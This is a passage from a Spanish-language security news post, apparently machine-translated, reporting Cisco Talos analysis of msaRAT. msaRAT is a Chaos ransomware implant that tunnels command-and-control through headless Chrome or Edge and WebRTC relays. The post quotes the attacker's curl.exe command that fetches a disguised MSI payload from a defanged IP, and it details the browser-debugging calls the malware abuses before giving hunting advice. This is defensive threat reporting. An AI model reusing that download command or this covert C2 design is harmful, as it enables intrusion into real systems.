{"id":1736,"date":"2026-07-23T17:12:15","date_gmt":"2026-07-23T17:12:15","guid":{"rendered":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/23\/chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx\/"},"modified":"2026-07-23T17:12:15","modified_gmt":"2026-07-23T17:12:15","slug":"chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx","status":"publish","type":"post","link":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/23\/chaos-ransomware-utiliza-msarat-para-enrutar-el-trafico-c2-a-traves-de-chrome-y-edge-sin-cabeza-cyberdefensa-mx\/","title":{"rendered":"Chaos Ransomware utiliza msaRAT para enrutar el tr\u00e1fico C2 a trav\u00e9s de Chrome y Edge sin cabeza \u2013 CYBERDEFENSA.MX"},"content":{"rendered":"
\n

El grupo de ransomware Chaos ejecut\u00f3 su comando y control a trav\u00e9s del propio navegador de la v\u00edctima. Cisco Talos el jueves msaRAT detallado<\/a>el implante Rust detr\u00e1s de \u00e9l, encontrado en una m\u00e1quina Windows comprometida delante del cifrador.<\/p>\n

El implante nunca abre una conexi\u00f3n saliente propia. Su proceso habla con 127.0.0.1<\/code> y nada m\u00e1s. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a trav\u00e9s del protocolo Chrome DevTools, la API de depuraci\u00f3n propia del navegador.<\/p>\n

Cada mensaje C2 viaja desde all\u00ed a trav\u00e9s de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La direcci\u00f3n del servidor del atacante nunca aparece.<\/p>\n

Chrome habla<\/h2>\n

msaRAT busca primero Chrome o Edge a trav\u00e9s de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ning\u00fan navegador coincidente, se omite la ruta CDP.<\/p>\n

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=new<\/code>habilita CDP con --remote-debugging-port<\/code>y lo apunta a un punto separado --user-data-dir<\/code>.<\/p>\n

Desde Cromo 136<\/a>Google ya no respeta el interruptor de depuraci\u00f3n del perfil predeterminado, un cambio anunciado en marzo de 2025 despu\u00e9s de que los ladrones de informaci\u00f3n tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el an\u00e1lisis de Talos muestra que toque en absoluto el perfil de la v\u00edctima.<\/p>\n

\n
\"Ciberseguridad\"<\/a><\/div>\n<\/div>\n

El malware pregunta \/json\/list\/<\/code> para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pesta\u00f1a, desactiva la Pol\u00edtica de seguridad de contenido con Page.setBypassCSP<\/code>registra cinco devoluciones de llamada a trav\u00e9s Runtime.addBinding<\/code>y llamadas Runtime.evaluate<\/code> para inyectar JavaScript almacenado en texto sin formato en el binario .rdata<\/code> secci\u00f3n.<\/p>\n

Cuatro nombres de devoluci\u00f3n de llamada, msaOpen<\/code>, msaClose<\/code>, msaError<\/code>y msaMessage<\/code>le dio a Talos el nombre del malware. El quinto es dataAck<\/code>.<\/p>\n

Ese JavaScript obtiene la configuraci\u00f3n STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]dev<\/code>con encabezados Origin y Referer disfrazados de tr\u00e1fico del sitio de Microsoft. Crea una conexi\u00f3n entre pares y publica una oferta SDP en el mismo punto final.<\/p>\n

La respuesta regresa sin candidatos ICE y la direcci\u00f3n de conexi\u00f3n establecida en 0.0.0.0<\/code>por lo que no se puede formar ning\u00fan enlace directo de igual a igual, y todo el canal pasa por el rel\u00e9 de Twilio en global.turn.twilio.com<\/code>. Una vez que el canal de datos est\u00e1 activo, el Trabajador se sale del camino.<\/p>\n

El tr\u00e1fico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE<\/code> marco de apret\u00f3n de manos desde el C2 inmediatamente despu\u00e9s de la conexi\u00f3n.<\/p>\n

El implante pasa los marcos de comando entrantes a cmd.exe \/e:ON \/v:OFF \/d \/c <\/code> para su ejecuci\u00f3n. Talos considera que la cola de env\u00edo y el control de flujo probablemente est\u00e9n dise\u00f1ados para mover grandes cargas \u00fatiles, como capturas de pantalla o archivos, de manera confiable.<\/p>\n

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025.<\/a> que la infraestructura TURN de las plataformas de conferencias podr\u00eda transportar un canal C2 completo, y Sansec encontr\u00f3 un skimmer en marzo de 2026<\/a> utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas m\u00e1s all\u00e1 de la inspecci\u00f3n HTTP.<\/p>\n

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a trav\u00e9s de CDP.<\/p>\n

El camino de entrada es el mismo de siempre<\/h2>\n

msaRAT llega despu\u00e9s de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice c\u00f3mo se lleg\u00f3 a esta m\u00e1quina. el grupo libro de jugadas documentado<\/a> Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.<\/p>\n

El implante en s\u00ed baja con un \u00fanico comando de flexi\u00f3n:<\/p>\n

curl.exe https:\/\/172.86.126[.]18:443\/update_ms.msi -o C:\\programdata\\update_ms.msi<\/code><\/p>\n

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de n\u00fameros de puerto sin inspecci\u00f3n de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualizaci\u00f3n de Windows y se activa una acci\u00f3n personalizada al final de la instalaci\u00f3n para cargar una DLL integrada directamente en la memoria.<\/p>\n

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecuci\u00f3n as\u00edncrono de Tokio, exportando una funci\u00f3n llamada RUN<\/code> para que el instalador llame.<\/p>\n

Notas de caza<\/h2>\n

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ning\u00fan parche de navegador que aplicar para la t\u00e9cnica en s\u00ed.<\/p>\n

La se\u00f1al que perdura es el comportamiento del proceso. Como dice Talos, \u00abse considera que todas las comunicaciones externas se originan en un proceso de navegaci\u00f3n leg\u00edtimo\u00bb. Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new<\/code> y --remote-debugging-port<\/code> colocar.<\/p>\n

Luego correlacione ese proceso con el tr\u00e1fico de bucle invertido al puerto de depuraci\u00f3n y al WebRTC saliente. Donde la telemetr\u00eda captura mensajes CDP, Runtime.addBinding<\/code> y Runtime.evaluate<\/code> son los pivotes. Las flotas que ejecutan automatizaci\u00f3n de navegadores o CI tendr\u00e1n sus propios trabajos sin cabeza para ajustar.<\/p>\n

\n
\"Ciberseguridad\"<\/a><\/div>\n<\/div>\n

Hasta el 23 de julio de 2026, Talos no ha publicado ning\u00fan hash de archivos para msaRAT. El conjunto de indicadores p\u00fablicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI<\/a>. Cobertura de detecci\u00f3n de Talos:<\/p>\n